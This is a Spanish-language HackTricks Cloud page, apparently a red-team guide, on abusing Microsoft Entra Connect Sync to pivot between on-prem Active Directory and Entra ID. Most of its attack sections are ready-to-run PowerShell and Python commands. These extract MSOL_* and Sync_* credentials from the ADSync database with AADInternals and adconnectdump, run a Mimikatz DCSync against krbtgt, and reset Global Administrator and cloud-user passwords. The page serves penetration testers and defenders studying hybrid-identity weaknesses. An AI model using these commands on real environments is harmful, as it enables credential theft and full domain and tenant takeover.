Az - Connect Sync
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
Información básica
De la documentación: Microsoft Entra Connect synchronization services (Microsoft Entra Connect Sync) es un componente principal de Microsoft Entra Connect. Se encarga de todas las operaciones relacionadas con la sincronización de datos de identidad entre tu entorno on-premises y Microsoft Entra ID.
El servicio de sincronización consta de dos componentes, el componente on-premises Microsoft Entra Connect Sync y el lado de servicio en Microsoft Entra ID llamado Microsoft Entra Connect Sync service.
Para usarlo, es necesario instalar el agente Microsoft Entra Connect Sync en un servidor dentro de tu entorno AD. Este agente será el encargado de la sincronización desde el lado de AD.
.png)
El Connect Sync es básicamente la manera “antigua” de Azure para sincronizar usuarios desde AD hacia Entra ID. La forma recomendada ahora es usar Entra Cloud Sync:
Principales generados
- La cuenta
MSOL_<installationID>se crea automáticamente en el AD on-prem. A esta cuenta se le asigna el rol Directory Synchronization Accounts (ver documentation) lo que significa que tiene permisos de replicación (DCSync) en el AD on-prem. - Esto implica que cualquiera que comprometa esta cuenta podrá comprometer el dominio on-premise.
- Se crea en el AD on-prem una cuenta de servicio administrada
ADSyncMSA<id>sin privilegios especiales por defecto. - En Entra ID se crea el Service Principal
ConnectSyncProvisioning_ConnectSync_<id>con un certificado.
Sincronización de contraseñas
Sincronización de hashes de contraseñas
Este componente también puede usarse para sincronizar contraseñas desde AD hacia Entra ID para que los usuarios puedan usar sus contraseñas de AD para conectarse a Entra ID. Para esto, es necesario permitir la sincronización de hashes de contraseña en el agente Microsoft Entra Connect Sync instalado en un servidor AD.
De la documentación: Password hash synchronization es uno de los métodos de inicio de sesión usados para lograr identidad híbrida. Azure AD Connect sincroniza un hash, del hash, de la contraseña de un usuario desde una instancia de Active Directory on-premises hacia una instancia de Azure AD en la nube.
Básicamente, todos los usuarios y un hash de los hashes de contraseña son sincronizados desde el on-prem hacia Azure AD. Sin embargo, las contraseñas en texto claro o los hashes originales no se envían a Azure AD.
La sincronización de hashes ocurre cada 2 minutos. Sin embargo, por defecto, el vencimiento de contraseña y el vencimiento de cuenta no se sincronizan en Azure AD. Por lo tanto, un usuario cuya contraseña on-prem ha expirado (no cambiada) puede continuar accediendo a recursos de Azure usando la contraseña antigua.
Cuando un usuario on-prem quiere acceder a un recurso de Azure, la autenticación se realiza en Azure AD.
Note
Por defecto los usuarios de grupos privilegiados conocidos como Domain Admins con el atributo
adminCounten 1 no son sincronizados con Entra ID por razones de seguridad. Sin embargo, otros usuarios que son parte de grupos privilegiados sin este atributo o que tienen privilegios elevados asignados directamente pueden ser sincronizados.
Password Writeback
Esta configuración permite sincronizar contraseñas desde Entra ID hacia AD cuando un usuario cambia su contraseña en Entra ID. Nota que para que el password writeback funcione, al usuario MSOL_<id> generado automáticamente en el AD se le deben otorgar más privilegios como se indica en la documentación para que pueda modificar las contraseñas de cualquier usuario en el AD.
Esto es especialmente interesante para comprometer el AD desde un Entra ID comprometido, ya que podrás modificar la contraseña de “casi” cualquier usuario.
Los domain admins y otros usuarios pertenecientes a algunos grupos privilegiados no se replican si el grupo tiene el atributo adminCount en 1. Pero otros usuarios a los que se les hayan asignado privilegios elevados dentro del AD sin pertenecer a ninguno de esos grupos podrían tener su contraseña cambiada. Por ejemplo:
- Usuarios a los que se les asignaron privilegios elevados directamente.
- Usuarios del grupo
DNSAdmins. - Usuarios del grupo
Group Policy Creator Ownersque hayan creado GPOs y los hayan asignado a OUs podrán modificar los GPOs que crearon. - Usuarios del
Cert Publishers Groupque pueden publicar certificados en Active Directory. - Usuarios de cualquier otro grupo con privilegios elevados sin el atributo
adminCounten 1.
Pivotar AD –> Entra ID
Enumerando Connect Sync
Comprobar usuarios:
# Check for the users created by the Connect Sync
Install-WindowsFeature RSAT-AD-PowerShell
Import-Module ActiveDirectory
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" -Properties * | select SamAccountName,Description | fl
Get-ADServiceAccount -Filter "SamAccountName -like 'ADSyncMSA*'" -Properties SamAccountName,Description | Select-Object SamAccountName,Description | fl
Get-ADUser -Filter "samAccountName -like 'Sync_*'" -Properties * | select SamAccountName,Description | fl
# Check it using raw LDAP queries without needing an external module
$searcher = New-Object System.DirectoryServices.DirectorySearcher
$searcher.Filter = "(samAccountName=MSOL_*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=ADSyncMSA*)"
$searcher.FindAll()
$searcher.Filter = "(samAccountName=Sync_*)"
$searcher.FindAll()
Comprobar la configuración de Connect Sync (si existe):
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
# Check if password sychronization is enabled, if password and group writeback are enabled...
Encontrar las contraseñas
Las contraseñas del MSOL_* usuario (y del Sync_* usuario si fue creado) están almacenadas en un servidor SQL en el servidor donde Entra ID Connect está instalado. Los administradores pueden extraer las contraseñas de esos usuarios privilegiados en texto sin cifrar.
La base de datos está localizada en C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf.
Es posible extraer la configuración de una de las tablas, siendo una de ellas cifrada:
SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;
La configuración cifrada está protegida con DPAPI y contiene las contraseñas del MSOL_* usuario en el on-prem AD y la contraseña de Sync_* en AzureAD. Por lo tanto, comprometiendo estas credenciales es posible realizar privesc en el AD y en AzureAD.
Puedes encontrar una visión completa de cómo se almacenan y descifran estas credenciales en esta charla.
Abusar de MSOL_*
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
Get-AADIntSyncCredentials
# Or check DumpAADSyncCreds.exe from https://github.com/Hagrid29/DumpAADSyncCreds/tree/main
# Using https://github.com/dirkjanm/adconnectdump
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80
.\ADSyncQuery.exe C:\Users\eitot\Tools\adconnectdump\ADSync.mdf > out.txt
python .\adconnectdump.py [domain.local]/administrator:<password>@192.168.10.80 --existing-db --from-file out.txt
# Using the creds of MSOL_* account, you can run DCSync against the on-prem AD
runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
Warning
Ataques anteriores comprometieron la otra contraseña para luego conectarse al usuario de Entra ID llamado
Sync_*y así comprometer Entra ID. Sin embargo, este usuario ya no existe.
Abusar de ConnectSyncProvisioning_ConnectSync_
Esta aplicación se crea sin tener asignados roles de Entra ID o administración de Azure. Sin embargo, tiene los siguientes permisos de API:
- Microsoft Entra AD Synchronization Service
ADSynchronization.ReadWrite.All- Microsoft password reset service
PasswordWriteback.OffboardClient.AllPasswordWriteback.RefreshClient.AllPasswordWriteback.RegisterClientVersion.All
Se menciona que el SP de esta aplicación aún puede usarse para realizar algunas acciones privilegiadas mediante una API no documentada, pero no se ha encontrado ningún PoC hasta donde yo sé.
En cualquier caso, pensando que esto podría ser posible, sería interesante explorar más cómo encontrar el certificado para iniciar sesión como este service principal y tratar de abusar de él.
Este blog post publicado poco después del cambio de usar el usuario Sync_* a este service principal, explicó que el certificado se almacenaba en el servidor y que era posible encontrarlo, generar PoP (Proof of Possession) y un graph token, y con esto poder añadir un nuevo certificado al service principal (porque un service principal siempre puede asignarse nuevos certificados) y luego usarlo para mantener persistencia como el SP.
Para realizar estas acciones, se publicaron las siguientes herramientas: SharpECUtils.
Según esta pregunta, para encontrar el certificado, debes ejecutar la herramienta desde un proceso que haya robado el token del proceso miiserver.
Abusar de Sync_* [DEPRECATED]
Warning
Anteriormente se creaba en Entra ID un usuario llamado
Sync_*con permisos muy sensibles asignados, lo que permitía realizar acciones privilegiadas como modificar la contraseña de cualquier usuario o añadir una nueva credencial a un service principal. Sin embargo, desde Jan2025 este usuario ya no se crea por defecto, ya que ahora se usa la Application/SPConnectSyncProvisioning_ConnectSync_<id>. Aun así, podría seguir presente en algunos entornos, por lo que vale la pena comprobarlo.
Al comprometer la cuenta Sync_* es posible restablecer la contraseña de cualquier usuario (incluidos los Global Administrators)
Install-Module -Name AADInternals -RequiredVersion 0.9.0 # Uninstall-Module AADInternals if you have a later version
Import-Module AADInternals
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
# Get access token for Sync_* account
$passwd = ConvertTo-SecureString '<password>' -AsPlainText - Force
$creds = New-Object System.Management.Automation.PSCredential ("Sync_SKIURT-JAUYEH_123123123123@domain.onmicrosoft.com", $passwd)
Get-AADIntAccessTokenForAADGraph -Credentials $creds - SaveToCache
# Get global admins
Get-AADIntGlobalAdmins
# Get the ImmutableId of an on-prem user in Azure AD (this is the Unique Identifier derived from on-prem GUID)
Get-AADIntUser -UserPrincipalName onpremadmin@domain.onmicrosoft.com | select ImmutableId
# Reset the users password
Set-AADIntUserPassword -SourceAnchor "3Uyg19ej4AHDe0+3Lkc37Y9=" -Password "JustAPass12343.%" -Verbose
# Now it's possible to access Azure AD with the new password and op-prem with the old one (password changes aren't sync)
También es posible modificar únicamente las contraseñas de cloud users (incluso si eso es inesperado)
# To reset the password of cloud only user, we need their CloudAnchor that can be calculated from their cloud objectID
# The CloudAnchor is of the format USER_ObjectID.
Get-AADIntUsers | ?{$_.DirSyncEnabled -ne "True"} | select UserPrincipalName,ObjectID
# Reset password
Set-AADIntUserPassword -CloudAnchor "User_19385ed9-sb37-c398-b362-12c387b36e37" -Password "JustAPass12343.%" -Verbosewers
También es posible dump the password de este usuario.
Caution
Otra opción sería assign privileged permissions to a service principal, que el usuario Sync tiene permissions para hacer, y luego access that service principal como una forma de privesc.
Seamless SSO
Es posible usar Seamless SSO con PHS, lo cual es vulnerable a otros abusos. Consúltalo en:
Pivoting Entra ID –> AD
- Si password writeback está habilitado, puedes modify the password of any user in the AD que esté sincronizado con Entra ID.
- Si groups writeback está habilitado, puedes add users to privileged groups en Entra ID que estén sincronizados con el AD.
Referencias
- https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-phs
- https://aadinternals.com/post/on-prem_admin/
- https://troopers.de/downloads/troopers19/TROOPERS19_AD_Im_in_your_cloud.pdf
- https://www.youtube.com/watch?v=xei8lAPitX8
- https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/
- https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Consulta los subscription plans!
- Únete al 💬 Discord group o al telegram group o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud github repos.
HackTricks Cloud

